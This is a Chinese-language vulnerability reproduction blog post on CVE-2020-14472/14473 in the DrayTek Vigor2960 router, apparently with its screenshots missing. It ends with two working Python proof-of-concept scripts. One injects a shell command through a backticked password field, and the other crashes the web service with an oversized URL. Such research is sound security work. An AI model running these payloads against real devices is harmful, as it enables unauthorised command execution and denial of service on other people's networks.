Vigor2960 CVE-2020-14472/14473

[toc]

背景产品介绍

Vigor 2960 是一款企业级的VPN管理中心,通过灵活、可靠以及高性能的LAN to LAN和远程接入方案,为客户的商务活动提供了安全保障,同时也节省了成本,价格太贵就没考虑完整复现了。

提取文件系统

利用ubireader_extract_files来进行提取,不能使用binwalk。

漏洞文件定位分析

查看web管理端是否有在默认启动项里:

查看这个配置文件:

这里显示了加载的模块:

看看二次开发后的东西有哪些内容

根据漏洞描述定位到mainfunction.cgi

漏洞文件分析

找到main函数

通过path_info和action获取功能分发

命令注入

漏洞一

定位漏洞功能

命令注入漏洞

漏洞二

漏洞三

漏洞四

栈溢出

首先定位到url_decode:

有四个函数调用这个漏洞函数:

漏洞点一:

登陆失败,用户名密码错误会触发这个漏洞

漏洞点二:

这个不知道什么意思

漏洞点三:

超出了登陆数量限制

漏洞点四:

类似命令注入的触发方式,action分发功能的web_portal_bypass_ok

POC

抄一下作业吧

命令注入


from sys import argv
from base64 import b64encode
import requests

data = {
    "URL": "192.168.1.1",
    "HOST": "http://192.168.1.1",
    "action": "authuser",
    "formusername": b64encode(b"test").decode(),
    "formpassword": b64encode(b"12345678`reboot`").decode(),
    "PHONENUMBER": argv[1] # the known phone number
}
header = {
    "Content-Type": "application/raw"
}
url = {
    "root": "http://192.168.1.1",
    "cgi": {
        "root": "/cgi-bin",
        "uri": {
            "mf": "/mainfunction.cgi",
        }
    }
}

def build_url(p1, p2=None):
    if p2:
        return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
    else:
        return url["root"] + url[p1]

session = requests.session()
session.post(build_url("cgi", "mf"), data=data, headers=header)

栈溢出(崩溃效果)

import requests
from urllib.parse import quote
import base64

def poc(url):
    headers = {"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) xxxxxxxx"}
    url = url + "/cgi-bin/mainfunction.cgi"
    data = {
        "action":"web_portal_bypass_ok",
        "url":"http://"+"\x40"*0xFFF+"/",
        "is_android":"true"
    }
    res = requests.post(url=url,verify=False,data=data,timeout=(10,15),headers=headers)
    if res.status_code!=200:
        print(res.text)
    else:
        print(res.text)
        return ""
 poc("http://xxx.xxx.xxx.xxx")

 Previous
2020祥云杯-babydev 2020祥云杯-babydev
[toc] 查看文件查看保护机制: 之前一直想复现一下这道题,当时没找到洞在哪。 IDA分析首先了解这么几个参数: 文件的读写指针,规定write和read的位置;文件的头指针,指向文件内容开始的地方,它存放在mydata+0x10
Next 
路由器学习之D-Link DIR-645溢出漏洞复现 路由器学习之D-Link DIR-645溢出漏洞复现
官方漏洞信息分析官方POC 大概阅读一下得知漏洞存在于在cgi文件中处理http请求时POST的参数中的password。当password很长的时候并没有进行检查,导致缓冲区溢出。 漏洞分析 我们看到漏洞组件authenticati
  TOC